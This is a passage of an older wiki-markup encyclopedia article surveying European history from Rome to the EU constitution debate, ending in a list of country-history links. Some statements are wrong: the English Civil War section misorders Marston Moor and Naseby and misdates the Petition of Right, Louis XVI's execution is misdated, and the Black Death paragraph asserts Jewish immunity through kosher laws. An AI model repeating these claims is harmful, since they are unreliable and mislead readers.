Much of Greek learning was assimilated by the nascent Roman state as it expanded outward from [[Italy]], taking advantage of its enemies' inability to unite: the only real challenge to Roman ascent came from the [[Phoenicia]]n colony of [[Carthage]], but its defeat in the end of the 3rd century BC marked the start of Roman [[hegemony]].  First governed by kings, then as a senatorial republic (the [[Roman Republic]]), [[Rome]] finally became an empire at the end of the 1st century BC, under [[Augustus]] and his [[authoritarian]] successors. The [[Roman Empire]] had its centre in the [[Mediterranean Sea]], controlling all the countries on its shores; the northern border was marked by the [[Rhine]] and [[Danube]] rivers; under emperor [[Trajan]] (2nd century AD) the empire reached its maximum expansion, including [[Roman Britain|Britain]], [[Romania]] and parts of [[Mesopotamia]]. The empire brought peace, civilization and an efficient [[Centralized Government|centralized government]] to the subject territories, but in the 3rd century a series of [[civil war]]s undermined its economic and social strength. In the 4th century, the emperors [[Diocletian]] and [[Constantine I of the Roman Empire|Constantine]] were able to slow down the process of decline by splitting the empire into a Western and an Eastern part. Whereas Diocletian severely persecuted [[Christianity]], Constantine declared an official end to state-sponsored [[persecution of Christians]] in [[313]] with the [[Edict of Milan]], thus setting the stage for the empire to later become officially Christian in about [[380]] (which would cause the [[Church]] to become an important institution).



==Early Middle Ages==
{{main|Early Middle Ages}}
[[Western Europe]] emerged as the site of a distinct civilization after the [[fall of the Roman Empire|fall of the Western Roman Empire]] in the 5th century, as [[Germanic peoples|Germanic]] people's conquered it, where the [[Eastern Roman Empire]] (a.k.a. [[Byzantine Empire]]) survived for another millennium. The Roman Empire was already divided in a [[Greek language|Greek]]-speaking and a [[Latin]]-speaking part for centuries. In the 7th and 8th century the [[Arab]] expansion brought [[Islam|Islamic]] cultures to the southern Mediterranean shores (from [[Syria]] to [[Sicily]] and [[Spain]]), further enlarging the differences between the various Mediterranean civilizations. Huge amounts of technology and learning were lost, trade languished and people returned to local [[agriculture|agrarian]] communities. In the same century, Bulgarians created the first [[Slavic peoples|Slavic]] state in Europe - [[Bulgaria]]. [[Feudalism]] created a new order in a world without cities and replaced the centralized Roman administration which was based on cities and a highly organized army. The only institution surviving the collapse of the Western Roman Empire was the [[Roman Catholic Church]], which preserved part of the Roman cultural inheritance and remained the primary source of learning in its domain at least until the 13th century; the [[bishop]] of [[Rome]], known as the [[Pope]], became the leader of the western church (in the east his supremacy was not accepted in the end).

The [[Holy Roman Empire]] emerged around 800, as [[Charlemagne]], king of the [[Franks]], was crowned by the pope as emperor. His empire based in modern [[France]] and [[Germany]] expanded into modern [[Hungary]], [[Italy]], [[Bohemia]], [[Lower Saxony]] and [[Spain]]. He and his father received substantial help from an alliance with the Pope, who wanted help against the [[Lombards]]. The pope was officially a vasal of the [[Byzantine Empire]], but the Byzantine emperor did (could do) nothing against the Lombards.

In the late 9th century and 10th century, northern and western Europe felt the burgeoning power and influence of the [[Viking]]s who raided, traded, conquered and settled swiftly and efficiently with their advanced sea-going vessels such as the [[longship]]s. The [[Hungary|Hungarians]] pillaged mainland Europe and the [[Arabs]] the south, so there were no safe havens for the roman-catholic 'Europeans.'

In the 10th century independent kingdoms were established in Central Europe, e.g. [[Poland]] and [[Hungary]]. Hungary had stopped its pillaging campaigns.

The subsequent period, ending around 1000, saw the further growth of [[feudalism]], which weakened the Holy Roman Empire.

==High Middle Ages==
{{main|High Middle Ages}}

After the [[East-West Schism]], [[Western Christianity]] was adopted by newly created kingdoms of [[Central Europe]]: [[Poland]], [[Hungary]] and [[Bohemia]].
The [[Roman Catholic Church]] developed as a major power, leading to conflicts between the Pope and Emperor.

The area of the roman catholic church expanded enormously due to conversions of pagan kings ([[Scandinavia]], [[Lithuania]], [[Poland]], [[Hungary]]) and [[crusades]]. Most of Europe was roman-catholic in the 15th century.

==Later Middle Ages==
[[Image:Europein1328.png|thumb|200px|right|Europe in 1328.]]
{{main|Later Middle Ages}}

Early signs of the rebirth of civilization in [[western Europe]] began to appear in the 11th century as trade started again in [[Italy]], leading to the economic and cultural growth of independent [[city states]] such as [[Venice, Italy|Venice]] and [[Florence, Italy|Florence]]; at the same time, nation-states began to take form in places such as [[France]], [[England]], [[Spain]], and [[Portugal]], although the process of their formation (usually marked by rivalry between the monarchy, the aristocratic feudal lords and the church) actually took several centuries. (See [[Reconquista]] for the latter two countries.) On the other hand, the [[Holy Roman Empire]], essentially based in [[Germany]] and [[Italy]], further fragmented into a myriad of feudal principalities or small city states, whose subjection to the emperor was only formal.

One of the largest catastrophes to have hit Europe was the [[bubonic plague]], also known as the [[Black Death]]. There were numerous outbreaks, but the most severe was in the mid-1300s and is estimated to have killed a third of Europe's population. Since many [[Jew]]s worked as money-lenders ([[usury]] was not allowed for Christians) and were generally more immune to disease (thanks to their [[kosher]] laws concerning hygiene), the Jews were often disliked by Europeans, so it was popular to blame them for the epidemic. This led to increased [[persecution of Jews]] in some areas. Thousands of Jews fled to [[Poland]] which, ironically, was spared by the first plague, but black death came back time after time.

Beginning in the 14th century, the [[Baltic Sea]] became one of the most important [[trade route]]s. The [[Hanseatic League]], an alliance of trading cities,  facilitated the absorption of vast areas of [[Poland]], [[Lithuania]] and other [[Baltic countries]] into the [[economy of Europe]].
The conventional end of the [[Middle Ages]] is usually associated with the fall of the city [[Constantinople]] and of the [[Byzantine Empire]] to the [[Ottoman Turks]] in 1453. The Turks made the city the capital of their [[Ottoman Empire]], which lasted until 1919 and also included [[Egypt]], [[Syria]] and most of the [[Balkans]].

==Renaissance and Reformation==
[[Image:Europe in 1470.PNG|thumb|250px|right|Europe in the 1470s]]
{{main articles|[[Renaissance]] and [[Protestant Reformation]]}}

The fall of [[Constantinople]] in [[1453]] brought the realization in the countries of the [[Roman Catholic Church]], that [[Europe]] was the only christian continent from then on. Christianity was split in two due to the reformation in the 16th century. The christian civilization slowly became the European civilization. This Europe was smaller then the Europe of our day: [[Moscow]] didn't belong to it. [[Muscovy|Muscovians]] were seen as Asian barbarians, and Poland was seen in the 16th century as the fortress that protected Europe against the barbarian peoples. Turkey possesed a large part of Europe, but was regarded as alien due to islam, which is a contemporary problem nowadays with the European Union. Émeric Crucé ([[1623]]) came up with the idea of the [[European Council]], which should make an end to wars in Europe. He belonged to the Eirenic peace movement. Attempts to create lasting peace were no success, allthough all European countries (excluding Asian Muscovy) agreed to make peace in [[1518]] at the [[Treaty of London, 1518|Treaty of London]]. Many wars broke out again in a few years, including [[Denmark]] versus [[Sweden]], [[England]] and [[Spain]] versus [[France]]. The reformation made European peace impossible for many centuries. [[Francis Bacon]] and other advocats of [[science]] tried to create unity in Europe by focusing on the unity in [[nature]]. Post services were founded all over Europe, which made the [[Renaissance humanism|humanistic]] Commonwealth of Learned Men possible: university graduates and students were interconnected and could correspond with eachother all over Europe and across the boundaries between protestants and roman catholics. The roman catholic church banned many leading scientific works, this led to an intellectual advantage for protestant countries. This Europe was rapidly exploring the world, but knowledge and art remained an internal development. Europe regarded itself as superior to other continents, allthough there was a movement ([[Montaigne]]) that looked to the non-Europeans as better, more natural and primitive people.&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;

In the 15th century, at the end of the [[Middle Ages]], powerful [[states]] were appearing, built by the [[New Monarchs]] who were centralizing power in [[France]], [[England]], and [[Spain]]. On the other hand the Parliament in the [[Polish-Lithuanian Commonwealth]] grew in power, taking legislative rights from the Polish king. Parliaments were created in other countries and provinces as well where [[The States|the estates]] got a large share in the responsibility. New kinds of states emerged which were cooperations between territorial rulers, cities, farmer republics and knights. These played a major role in the the history of [[constitution]]s of (early) modern history. Contrariwise, the Church was losing much of its power because of corruption, internal conflicts, and the spread of culture leading to the [[art]]istic, [[philosophy | philosophical]], [[science | scientific]] and [[technology | technological]] improvements of the [[Renaissance]] era.

These powerful states were frequently in a state of political flux and war. In particular, after [[Martin Luther]] started the [[Reformation]] in 1517, wars of politics and religion ravaged the continent: the schism of the dominant western church was to have major political, social and cultural implications for Europe. What became the split between [[Catholicism]] and [[Protestantism]] was particularly pronounced in [[England]] (where the king [[Henry VIII of England|Henry VIII]] severed ties with Rome and proclaimed himself head of the church), and in [[Germany]] (where [[Protestant Reformation|the Reformation]] united the various Protestant princes against the Catholic [[Habsburg]] emperors).

Unlike [[Western Europe]], the countries of [[Central Europe]], the [[Polish-Lithuanian Commonwealth]] and [[Hungary]], resolved religious questions by adopting [[Religious toleration|religious tolerance]]. Central Europe was already split between Eastern and Western Christianity. Now it became divided between Catholics, Protestants, Orthodox and Jews.

==Colonial expansion==
{{main|Age of Discovery}}
The numerous wars did not prevent the new states from exploring and conquering wide portions of the world, particularly in [[Asia]] ([[Siberia]]) and in the newly-discovered [[the Americas|America]]. In the 15th century, [[Portugal]] led the way in geographical exploration, followed by [[Spain]] in the early 16th century. They were the first states to set up colonies in [[South America]] and trade stations on the shores of [[Africa]] and Asia, but they were soon followed by [[France]], [[England]] and the [[Netherlands]]. In 1552 Russian [[tsar]] [[Ivan the Terrible|Ivan IV the Terrible]] conquered [[Kazan]] and the [[Yermak Timofeyevich|Yermak]]'s voyage of 1580 led to the annexation of Siberia into Russia.

Colonial expansion proceeded in the following centuries (with some setbacks, such as the [[American Revolution]] and the wars of independence in many South American colonies). Spain had control of a great deal of [[South America]], the [[Caribbean]] and the [[Philippines]]; Britain took the whole of [[Australia]] and [[New Zealand]], most of [[India]], and large parts of [[Africa]] and [[North America]]; France held parts of [[Canada]] and India (nearly all of which was lost to Britain in 1763), [[French Indochina|Indochina]] and large parts of [[Africa]]; the Netherlands gained the [[Indies|East Indies]] (now [[Indonesia]]) and islands in the [[Caribbean]]; Portugal obtained [[Brazil]] and several territories in Africa and Asia; and later, powers such as [[Germany]], [[Belgium]], [[Italy]] and [[Russia]] acquired further colonies.

This expansion helped the [[economic system|economy]] of the [[countries]] owning them. [[Trade]] flourished, because of the minor stability  of the [[empire]]s. The [[European]] countries fought wars, that were largely paid for by the money coming in from the colonies.

==Early Modern period: 16th, 17th and 18th century==
{{main|Early Modern Europe}}
The Reformation had profound effects on the unity of Europe. Not only were nations divided one from another by their religious orientation, but some states were torn apart internally by religious strife, avidly fostered by their external enemies. [[France]] suffered this fate in the 16th century in the series of conflicts known as the [[French Wars of Religion]], which ended in the triumph of the [[House of Bourbon|Bourbon Dynasty]]. England avoided this fate for a while and settled down under [[Elizabeth I of England|Elizabeth]] to a moderate [[Anglicanism]]. [[Germany]], divided into numerous small states under the theoretical framework of the [[Holy Roman Empire]], was also divided along internally drawn sectarian lines, until the [[Thirty Years' War]] seemed to see religion replaced by [[nationalism]] as the motor of European conflict. The single exception to this was the [[Polish-Lithuanian Commonwealth]], an entity created by the [[Union of Lublin|agreement between the nobility]] of those two countries, highly valuing the [[religious tolerance]].

Throughout the early part of this period, [[capitalism]] was replacing [[feudalism]] as the principal form of economic organization, at least in the western half of Europe. The expanding colonial frontiers resulted in a [[Commercial Revolution]]. The period is noted for the rise of modern [[science]] and the application of its findings to technological improvements, which culminated in the [[Industrial Revolution]]. New forms of trade and expanding horizons made new developments in [[international law]] necessary.

After the [[Treaty of Westphalia]] which ended the [[Thirty Years War]], [[Political absolutism|Absolutism]] became the norm of the continent, while parts of Europe experimented with constitutions foreshadowed by the [[English Civil War]] and particularly the [[Glorious Revolution]]. European military conflict did not cease, but had less disruptive effects on the lives of Europeans. In the advanced north-west, [[the Enlightenment]] gave a philosophical underpinning to the new outlook, and the continued spread of [[literacy]], made possible by the [[printing press]], created new secular forces in thought. Again, the Polish-Lithuanian Commonwealth would be an exception to this rule, with it's unique quasi-democratic [[Golden Freedom]].

[[Eastern Europe]] was an arena of conflict for domination between [[Sweden]], the [[Polish-Lithuanian Commonwealth]] and the [[Ottoman Empire]]. This period saw a gradual decline of these three powers which were eventually replaced by new enlightened absolutist monarchies, [[Russia]], [[Prussia]] and [[Austria]]. By the turn of the 19th century they became new powers, having [[Partitions of Poland|divided Poland]] between them, with Sweden and Turkey having experienced substantial territorial losses to Russia and Austria respectively. Numerous Polish Jews emigrated to Western Europe, founding Jewish communities in places where they had been expelled from during the Middle Ages.

==The English Civil War and Unification with Scotland==
''Main article: [[English Civil War]]''

The first and foremost cause of the War was [[religion]]. When Charles became King in 1625 his [[Arminian]] style of Anglicanism and French Catholic wife seemed to herald a slide back toward Catholicism and [[popery]]. Additionally, he did not get along with Parliament, and unproductive sessions in the 1620s resulted in the closure of Parliament for 11 years. However, following the Scottish invasion in 1640 Charles was forced to call Parliament to raise money for an army. Parliament was furious and wanted its grievances addressed. The [[Petition of Right]], pushed through by [[John Pym]], forced Charles to agree that the English people had rights and liberties and that he had been undermining them. Charles attempted to arrest Pym and five others in February 1642 after they attempted to impeach the [[Queen Consort|Queen]], claiming she had been attempting to control Charles and impose a French style tyranny on them.

The King and his family left [[London]] in May 1642 and the raising of the royal standard at [[Nottingham]] started war. Charles's side were called the [[Cavaliers]]; Parliament's side were the [[Roundheads]]. In spite of initial successes, Charles's defeat was assured by 1644, when Pym signed an agreement with the Scots. Charles was defeated and captured at [[Marston Moor]] in 1647, but he fled to the [[Isle of Wight]] and enlisted the help of the Scots, as Parliament had reneged on their agreement. However, his hopes came to naught when the Roundheads defeated them at [[Naseby]].

===English Commonwealth===

Pym had since died and the [[Grandee]]s in the [[New Model Army]] and Parliament, including [[Oliver Cromwell]], reluctantly came to the conclusion that they would have to kill Charles. He was found guilty by [[List of regicides of Charles I|fifty nine Commissioners]] (Judges) of high treason and executed. With the abolition of the [[Monarchy]] Britain entered a period known as the [[English Commonwealth]], Government by a [[Council of State]] with a [[Rump Parliament]] as the legislator. Real power rested with the Grandees of the New Model Army and in 1653 Oliver Cromwell became [[Lord Protector]]. After Cromwell died in 1658 his son [[Richard Cromwell]] inherited the title but not the power. After a short return of the Commonwealth, the [[English Interregnum|Interregnum]] came to an end with the [[English Restoration|restoration]] of the Monarchy under Charles’ son King [[Charles II of England|Charles II]].

===Act of Union===

The [[Act of Union 1707]] united the parliaments of the Kingdoms of England and [[Scotland]] to create a [[United Kingdom of Great Britain]].  Subsequently, the [[Act of Union 1800]] united the kingdoms of Great Britain and Ireland to form the [[United Kingdom of Great Britain and Ireland]]. 

Having gone through a political revolution 100 years early, [[Great Britain]] entered the 18th century in a stronger position than her continental rivals who were still controlled by absolute monarchs.

==The French Revolution==
''Main article: [[French Revolution]]''

[[Image:Taking of the Bastille.jpg|right|300px|thumb|The storming of the Bastille]]
By the late 18th century France's finances were in disarray. Lavish royal expenditure and costly wars, such as the [[France in the American Revolutionary War|French intervention]] in the [[American war of Independence]], had bankrupted the state.  After repeated failed attempts at financial reform, [[Louis XVI of France|Louis XVI]] was persuaded to convene the [[Estates-General of 1789|Estates-General]], a representative body of the country made up of three estates: the clergy, the nobility, and the commoners. The members of the Estates-General assembled in [[Versaille]] in May 1789, but the debate as to which voting system should be used soon became an impasse. Come June, the third estate, joined by members of the other two, declared itself to be a [[National Assembly (French Revolution)|National Assembly]] and swore an [[Tennis Court Oath|oath]] not to dissolve until France had a [[constitution]] and created, in July, the [[National Constituent Assembly]]. At the same time the people of Paris revolted, famously storming the [[Bastille]] prison on [[14 July]]. 

At the time the assembly wanted to create a [[constitutional monarchy]], and over the following two years passed various laws including the [[Declaration of the Rights of Man and of the Citizen|Declaration of the Rights of Man]], the [[French Revolution from the abolition of feudalism to the Civil Constitution of the Clergy#The abolition of feudalism|abolition of feudalism]], and a [[Civil Constitution of the Clergy|fundamental change]] in the relationship between France and Rome. At first the king went along with these changes and enjoyed reasonable popularity with the people, but as anti-royalism increased along with  threat of foreign invasion, the king, stripped of his power, decided to flee along with his family. He was recognised and bought back to Paris.  On [[12 January]] 1793, having been convicted of treason, he was executed.

On [[20 September]] [[1792]] the [[National Convention]] abolished the monarchy and declared France a [[republic]]. Due to the emergency of [[French Revolutionary Wars|war]] the National Convention created the [[Committee of Public Safety]], controlled by the [[Jacobin]] [[Robespierre]], to act as the country's executive. Under Robespierre the committee initiated the [[Reign of Terror]], during which up to 40,000 people were executed in Paris, mainly nobles, and those convicted by the [[Revolutionary Tribunal]], often on the flimsiest of evidence. Elsewhere in the country, counter-revolutionary [[Revolt in the Vendée|insurrections]] were brutally suppressed. The [[regime]] was overthrown in the coup of [[9 Thermidor]] ([[27 July]] [[1794]]) and executed. The regime which followed ended the Terror and relaxed Robespierre's more extreme policies.

===Napoleonic Wars===
{{main|Napoleonic Wars}}

[[Napoleon I of France|Napoleon Bonaparte]] was France's most successful general in the Revolutionary wars, having conquered large parts of Italy and forced the Austrians to sue for peace. In 1799 he returned from Egypt and on [[18 Brumaire]] ([[9 November]]) overthrew the government, replacing it with the [[French Consulate|Consulate]], in which he was First Consul. On [[2 December]] [[1804]], after a failed assassination plot he crowned himself [[First French Empire|Emperor]].

In 1805 Napoleon planned to invade Britain, but a renewed British alliance with Russia and Austria ([[Third Coalition]]), forced him to turn his attention towards the continent, while at the same time failure to lure the superior British fleet away from the [[English Channel]], ending in a decisive French defeat at the [[Battle of Trafalgar]] on [[21 October]] put an end to hopes of an invasion of Britain. On [[2 December]] Napoleon defeated a numerically superior Austro-Russian army at [[Battle of Austerlitz|Austerlitz]], forcing Austria’s [[Treaty of Pressburg|withdrawal from the coalition]] and dissolving the [[Holy Roman Empire]].

In 1806 a [[Fourth Coalition]] was set up, on [[14 October]] Napoleon defeated the Prussians at the [[Battle of Jena-Auerstedt]], marched through Germany and defeated the Russians on [[14 June]] [[1807]] at [[Battle of Friedland|Freidland]], the [[Treaties of Tilsit]] divided Europe between France and Russia and created the [[Duchy of Warsaw]].On [[12 June]] [[1812]] Napoleon [[Napoleon's Invasion of Russia|invaded Russia]] with a [[La Grande Armée|Grande Armée]] on nearly 700,000 troops. After the measured victories at [[Battle of Smolensk (1812)|Smolensk]] and [[Battle of Borodino|Borodino]] Napoleon occupied Moscow, only to find it burned by the retreating Russian Army, he was forced to withdraw, on the march back his army was harassed by Cossacks, and suffered disease and starvation. Only 20,000 of his men survived the campaign.

By 1813 the tide had began to turn from Napoleon, having been defeated by a [[Sixth Coalition|seven nation army]] at [[Battle of Leipzig]] in October 1813. He was forced to abdicate after the [[Six Days Campaign]] and the occupation of Paris, under the Treaty of Fontainebleau he was exiled to the Island of [[Elba]]. He returned to France on [[1 March]] [[1815]] (see [[Hundred Days]]), raised an army, but was comprehensively defeated by a British and Prussian force at [[Battle of Waterloo|Waterloo]] on [[18 June]].

==Congress of Vienna==
{{main|Congress of Vienna}}
The Congress of Vienna was a conference between ambassadors from the major powers in Europe. It was held in Vienna from [[1 October]] [[1814]], to [[9 June]] [[1815]]. The discussions continued despite Napoleon's return and the Congress's Final Act was signed nine days before his final defeat at Waterloo. The Congress was concerned with determining the entire shape of Europe after the Napoleonic wars, with the exception of the terms of peace with France, which had already been decided by the [[Treaty of Paris]] in May 1814.

The Congress's principal results, apart from its confirmation of France's loss of the territories annexed in 1795 - 1810, were the enlargement of Russia, (which gained most of the [[Duchy of Warsaw]]) and Prussia, which acquired [[Westphalia]] and the northern [[Rhineland]]. Germany was consolidated from the ~300 states of the [[Holy Roman Empire]] (dissolved in 1806) into 39 states. These states were formed into a loose German Confederation under the leadership of Prussia and Austria.

Poland was again divided by Russia, Prussia and Austria. The [[Polish Kingdom]] became part of Russia, while western Poland became Prussian and southern Poland was made Austrian. Only the [[Republic of Cracow]] stayed independant until 1846.

Representatives at the Congress agreed to numerous other territorial changes. Norway was transferred from Denmark to Sweden. Austria gained Lombardy-Venetia in Northern Italy, while much of the rest of North-Central Italy went to Habsburg dynasts (The [[Grand Duchy of Tuscany]], the [[Duchy of Modena and Reggio|Duchy of Modena]], and the [[Duchy of Parma]]). The Pope was restored to the Papal States. The Kingdom of Piedmont-Sardinia was restored to its mainland possessions, and also gained control of the Republic of Genoa. In Southern Italy the Bourbon [[Ferdinand I of the Two Sicilies|Ferdinand IV]] was restored to the throne.
A large United Kingdom of the Netherlands was created for the Prince of Orange, including both the old [[Dutch Republic|United Provinces]] and the formerly Austrian-ruled territories in the Southern Netherlands.

There were other, less important territorial adjustments, including significant territorial gains for the German Kingdoms of Hanover and Bavaria, and the Portuguese rights to the Territory of Olivenza were recognized.

The countries involved with the Congress also agreed to meet at intervals and this led to the establishment of the &quot;[[Congress system]]&quot;. This system was frequently criticized by 19th century historians for ignoring national and liberal impulses associated with the French Revolution. However, in the twentieth century many historians began to admire the work of the statesmen at the Congress of Vienna, whose work appeared to have prevented another large-scale European war for nearly one hundred years (1818-1914).

==The 19th century==
After the defeat of revolutionary [[France]], the other great powers tried to restore the situation which existed before 1789. However, their efforts were unable to stop the spread of revolutionary movements: the [[middle class]]es had been deeply influenced by the ideals of democracy of the French revolution, the [[Industrial Revolution]] brought important economical and social changes, the lower classes started to be influenced by [[Socialist]], [[Communist]] and [[anarchism|Anarchistic]] ideas (especially those summarized by [[Karl Marx]] in the [[Communist Manifesto|Manifesto of the Communist Party]]), and the preference of the new capitalists became [[Liberalism]] (a term which then, politically, meant something different from the modern usage). Further instability came from the formation of several [[nationalism | nationalist]] movements (in [[Germany]], [[Italy]], [[Poland]] etc.), seeking national unification and/or liberation from foreign rule. As a result, the period between 1815 and 1871 saw a large number of revolutionary attempts and independence wars.  Even though the revolutionaries were often defeated, most European states had become [[constitutional monarchy|constitutional]] (rather than absolute) monarchies by 1871, and Germany and Italy had developed into nation states. The 19th century also saw the [[British Empire]] emerge as the world's first global power due in a large part to the [[Industrial Revolution]] and victory in the [[Napoleonic Wars]].

The first revolution to occur in Europe after the French Revolution was the [[First_Serbian_Uprising|Serbian Uprising]] of 1804, and the [[Second Serbian Uprising]] of 1815, which resulted in the proclamation of autonomous [[Serbia]] by the [[Ottoman Empire]]. The political dynamics of Europe changed three times over the 19th century - once after the [[Congress of Vienna]], and again after the [[Crimean War]]. In 1815 at the Congress of Vienna, the major powers of Europe managed to produce a peaceful [[balance of power]] among the empires after the [[Napoleonic wars]] (despite the occurrence of internal revolutionary movements).  But the peace would only last until the [[Ottoman Empire]] had declined enough to become a target for the others. (See [[history of the Balkans#Rise of Independence]].) This instigated the Crimean War in 1854 and began a tenser period of minor clashes among the globe-spanning empires of Europe that set the stage for the [[world War I|first World War]]. It changed a third time with the end of the various wars that turned the [[Kingdom of Sardinia]] and the [[Kingdom of Prussia]] into the Italian and German nation-states, significantly changing the balance of power in Europe. 

&lt;!-- Translation from french : please improve this.--&gt;
From 1870, the [[Bismarck|Bismarkian]] hegemony on Europe put France in a critical situation, and it slowly rebuilt it's relationships, seeking alliances with Russia and Britain, to control the growing power of Germany. By this way, two sides grew in Europe, improving year by year their military forces and alliances.

==Early 20th century: the World Wars==
{{main articles|[[World War I]] and [[World War II]]}}
After the relative peace of most of the 19th century, the rivalry between European powers exploded in 1914, when [[World War I]] started. On one side were [[Germany]], [[Austria-Hungary]] and [[Turkey]] (the [[Central Powers]]/[[Triple Alliance]]), while on the other side stood [[Serbia]] and the ''[[Triple Entente]]'' - the loose coalition of [[France]], the [[United Kingdom]] and [[Russia]], which were joined by [[Italy]] in 1915 and by the [[United States]] in 1917. Despite the defeat of Russia in 1917 (the war was one of the major causes of the [[Russian Revolution of 1917|Russian Revolution]], leading to the formation of the communist [[Soviet Union]]), the ''Entente'' finally prevailed in the autumn of 1918.

In the [[Treaty of Versailles]] (1919) the winners imposed relatively hard conditions on Germany and recognized the new states (such as [[Poland]], [[Czechoslovakia]], [[Hungary]], [[Austria]], [[Kingdom of Yugoslavia|Yugoslavia]], [[Finland]], [[Estonia]], [[Latvia]], [[Lithuania]]) created in [[central Europe]] out of the defunct German, Austro-Hungarian and Russian empires, supposedly on the basis of national self-determination. Most of those countries engaged in local wars, the largest of them being the [[Polish-Soviet War]] (1919-1921). In the following decades, fear of [[Communism]] and the [[Great Depression|economic Depression]] of 1929-1933 led to the rise of extreme governments - [[Fascist]] or [[National Socialist]] - in Italy (1922), Germany (1933), Spain (after a [[Spanish Civil War|civil war]] ending in 1939) and other countries such as [[Hungary]].

After allying with Mussolini's Italy in the &quot;[[Pact of Steel]]&quot; and signing a [[Molotov-Ribbentrop Pact|non-aggression pact]] with the Soviet Union, the German dictator [[Adolf Hitler]] and Soviet dictator [[Josef Stalin]] started [[World War II]] on 1st and [[17 September]] [[1939]] attacking [[Poland]] and following a military build-up throughout the late 1930s. After initial successes (mainly the conquest of western [[Poland]], much of [[Scandinavia]], France and the [[Balkans]] before 1941) the [[Axis Powers|Axis powers]] began to over-extend themselves in 1941. Hitler's ideological foes were the Communists in Russia but because of the German failure to defeat the [[United Kingdom]] and the Italian failures in North Africa and the Mediterranean the Axis forces were split between garrisoning western Europe and Scandinavia and also attacking Africa. Thus, the attack on the Soviet Union (which together with Germany had partitioned central Europe in 1939-1940) was not pressed with sufficient strength. Despite initial successes, the German army was stopped close to [[Moscow]] in December 1941. During this period, Germany began the systematic genocide of over 11 million people, including the majority of the Jews of Europe, in the [[Holocaust]].  Even as German persecution grew, over the next year the tide was turned and the Germans started to suffer a series of defeats, for example in the siege of [[Battle of Stalingrad|Stalingrad]] and at [[Battle of Kursk|Kursk]]. Meanwhile, [[Japan]] (allied to Germany and Italy since September 1940) attacked the British in [[Southeast Asia|south-east Asia]] and the United States in Hawaii on [[December 7]], [[1941]]; Germany then completed its over-extension by declaring war on the United States. War raged between the Axis Powers (Germany, Italy, and Japan) and the [[Allied Forces]] ([[British Empire]], Soviet Union, and the United States). Allied Forces won in [[North Africa]], invaded Italy in 1943, and invaded occupied France in 1944. In the spring of 1945 Germany itself was invaded from the east by Russia and from the west by the other Allies respectively; Hitler committed suicide and Germany surrendered in early May ending the war in Europe.

==Late 20th century: the Cold War==
{{main|Cold War}}
[[World War I]] and especially [[World War II]] ended the pre-eminent position of [[western Europe]]. The map of Europe was redrawn at the [[Yalta Conference]] and divided as it became the principal zone of contention in the [[Cold War]] between the two power blocs, the [[capitalism|capitalistic]] [[Western_countries]] and the [[communist]] [[Soviet Union]]. The U.S. and Western Europe (the[[United Kingdom]], [[France]], [[Italy]], [[West Germany]], etc.) established the [[NATO]] alliance as a protection against a possible Soviet invasion. Later, the Soviet Union and Eastern Europe ([[Poland]], [[Czechoslovakia]], [[Hungary]], [[Romania]], [[Bulgaria]], [[East Germany]]) established the [[Warsaw Pact]] as a protection against a possible U.S. invasion.

Meanwhile, Western Europe slowly began a process of political and economic integration, desiring to unite Europe and prevent another war. This process resulted eventually in the development of organizations such as the [[European Union]] and the [[Council of Europe]].

The [[Solidarność]] movement in the 1980s in weakened the Communist government in [[Poland]]. The Soviet leader [[Mikhail Gorbachev]] initiated [[perestroika]] and [[glasnost]], which weakened Soviet influence in Eastern Europe. Soviet-supported governments collapsed, and West Germany absorbed East Germany by 1990.  In 1991 the Soviet Union itself collapsed, splitting into fifteen states, with the [[Russian Federation]] taking the Soviet Union's seat on the [[United Nations Security Council]].

The most violent breakup happened in [[Yugoslavia]], in the Balkans. Four ([[Slovenia]], [[Croatia]], [[Bosnia and Herzegovina]] and [[Republic of Macedonia|Macedonia]]) out of six Yugoslav republics declared independence and for most of them a violent war ensued, in some parts lasting until 1995. The remaining two republics formed a new Federal Republic of Yugoslavia, under the direction of [[Slobodan Milošević]]. Milošević presided over the [[Kosovo War]], and was overthrown after his government was weakened by NATO airstrikes against Yugoslavia. Following the ouster of Milošević, the country changed its name to [[Serbia and Montenegro]] as a move to placate the frictions between the two federal units and claimed to be instituting a Western-style democracy.

In the post-Cold War era, NATO and the EU have been gradually admitting most of the former members of the [[Warsaw Pact]].

[[Image:Rometreaty.jpg|thumb|200px|The Treaty of Rome signing ceremony.]]

==Early 21st century: the European Union==
{{main|History of the European Union}}
Continuing debate over the process of [[European integration]] continues to this day.  Whereas the [[European Union]] started out as a loose economic alliance among European nations, the European Union took further steps to more closely integrate the member states, and make the EU into a more [[supranational]] organisation.

At the turn of the century, nations within the European Union had created a [[free trade zone]] and eliminated most travel barriers across their borders. A new common currency for many European nations, the [[euro]], was established electronically in 1999, officially tying all of the currencies of each participating nation to each other. The new currency was put into circulation in 2002 and most of the old currencies were phased out. However, not all [[European Union member states|EU member states]] have decided to join the euro project, including the [[United Kingdom]], [[Denmark]] and [[Sweden]].

As of 2005, the European Union is in the process of ratifying a new [[Treaty establishing a constitution for Europe|constitution]], inducting additional member states (most of them in [[central Europe]]) and to consolidate various treaties. However, the creation of the constitution has been controversial, it is seen by many [[eurosceptic]]s as an undesirable step towards a single EU state. There has been disagreement as member states wrangle over how much voting power each will have in the EU, taxes, and the standards to which new member states must be held before they are admitted. Rejection of the constitution by referendums in two EU founding states ([[France]] and [[the Netherlands]]) has left the future of the constitution in much doubt.

== Histories of present-day territories ==

&lt;table cellspacing=4 cellpading=4&gt;&lt;tr valign=top&gt;&lt;td&gt;
* [[History of Albania]]
* [[History of Andorra]]
* [[History of Armenia]] &lt;font size=&quot;-2&quot;&gt;(1)&lt;/font&gt;
* [[History of Austria]]
* [[History of Belarus]]
* [[History of Belgium]]
* [[History of Bosnia and Herzegovina]]
* [[History of Bulgaria]]
* [[History of Croatia]]
* [[History of the Czechs]]
* [[History of Cyprus]] &lt;font size=&quot;-2&quot;&gt;(1)&lt;/font&gt;
* [[History of Denmark]]
* [[History of Estonia]]
* [[History of Finland]]
* [[History of France]] 
* [[History of Georgia (country)|History of Georgia]] &lt;font size=&quot;-2&quot;&gt;(1)&lt;/font&gt;
* [[History of Germany]] 
* [[History of Greece]]
* [[History of Greenland]] &lt;font size=&quot;-2&quot;&gt;(2)&lt;/font&gt;
* [[History of Hungary]]
* [[History of Iceland]] &lt;font size=&quot;-2&quot;&gt;(3)&lt;/font&gt;
* [[History of Ireland]] 
* [[History of Italy]]
* [[History of Latvia]]
&lt;td&gt;
* [[History of Liechtenstein]]
* [[History of Lithuania]]
* [[History of Luxembourg]]
* [[History of Malta]]
* [[History of the Republic of Macedonia]] 
* [[History of Moldova]]
* [[History of Monaco]]
* [[History of the Netherlands]]
